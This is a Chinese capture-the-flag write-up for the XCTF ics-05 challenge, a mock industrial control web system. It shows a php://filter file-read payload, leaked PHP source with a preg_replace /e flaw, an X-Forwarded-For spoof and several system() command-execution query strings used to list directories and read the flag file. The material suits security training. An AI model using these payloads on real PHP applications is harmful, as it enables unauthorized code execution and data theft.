渗透测试|[XCTF 4th-CyberEarth]ics-05
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统打开题目,是一个工控云管理系统,随意点击旁边的菜单,发现只有设备维护中心可以正常进入
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/9dc40f644b1749679081fa4f1b6d21bb.jpg)
文章图片
无意间点击左上角‘云平台设备维护中心’之后,发现页面进行跳转,page=index
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/407e7e5d5d2d4f6ea62de9e2bbc968c8.jpg)
文章图片
将URL内的index改为任何字符,页面都会进行回显
【渗透测试|[XCTF 4th-CyberEarth]ics-05】
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/5494127e13dd4607b70b1d8218c2afb0.jpg)
文章图片
在index后添加一个.php,页面回显ok,说明index.php存在,可以尝试读取一下
这里需要用到php://filter协议读内容
php://filter/read=convert.base64-encode/resource=index.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,也可以进行任意文件的读取,具有resource(要过滤的数据流)、read(读链筛选的数据流)、write(写链筛选的数据流)等等参数。在知道使用php://filter/read之后,为什么read后会跟一些奇怪的参数,include一个文件中有php代码会进行php解析,如果是明文传输,则会直接返回。用了过滤器,如果是php文件就不会解析,就可以拿到php文件的源码了,虽然是以base64回显在页面,但是只要通过base64解码即可
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/f09f2224dc0841b98c06d3eadd72b0ec.jpg)
文章图片
base64解码,解码快捷网址→→https://base64.us/
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/6e55948f3dc94794b80b2b9d4da9705f.jpg)
文章图片
进行php代码审计
Welcome My Admin !
";
//输出Welcome My Admin ! $pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {//非空且为字符串
preg_replace($pattern, $replacement, $subject);
//存在preg_replace漏洞
}else{
die();
}}
查了一下preg_replace函数,有一个很严重的漏洞存在。举个例子:preg_replace("/txt/e",$_GET["ganyu"],"txt"); /e会将ganyu当做php代码运行
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/cfb7cf1cb68c4aa991c3b8a104be2e49.jpg)
文章图片
preg_replace语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
- $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
- $replacement: 用于替换的字符串或字符串数组。
- $subject: 要搜索替换的目标字符串或字符串数组。
- $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
- $count: 可选,为替换执行的次数。
开启burp,刷新将内容抓包重放
先将X-Forwarded-For设为127.0.0.1
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/2b028d64cfb44d90bd06b6e6da7907be.jpg)
文章图片
在txt后使用/e修饰符,preg_replace会将 mixed $replacement 参数(system("ls"))当作 PHP 代码执行
?pat=/txt/e&rep=system("ls")&sub=txt
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/4e008d3ff97840ba810e911808b9a2b2.jpg)
文章图片
回显内容,盲猜flag在s3chahahaDir内
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/4f5fec8348a748d789e6e80f7520a234.jpg)
文章图片
访问s3chahahaDir
?pat=/txt/e&rep=system("ls+s3chahahaDir")&sub=txt
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/a89104fd751b404c9a677d703472977c.jpg)
文章图片
查看flag
?pat=/txt/e&rep=system("ls+s3chahahaDir/flag")&sub=txt
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/f0e2b27fb8a64bb09b152a9d6221e8b4.jpg)
文章图片
提示内容在flag.php下
?pat=/txt/e&rep=system("cat+s3chahahaDir/flag/flag.php")&sub=txt
![渗透测试|[XCTF 4th-CyberEarth]ics-05](https://img.it610.com/image/info8/5a3df12c70964aaf98d31f890c554574.jpg)
文章图片
推荐阅读
- 女生该不该用小号测试男朋友()
- BNC公链|BNC公链 | Eth2.0测试网Topaz已质押超100万枚ETH
- 我的软件测试开发工程师书单
- 性能测试中QPS和TPS的区别
- 如何在手机上查看测试vue-cli构建的项目
- 工作好忙
- webug3.0渗透基础第九、十关笔记
- javascript|javascript 性能测试笔记
- 灵魂测试……
- Android智能手表MMI测试检测系统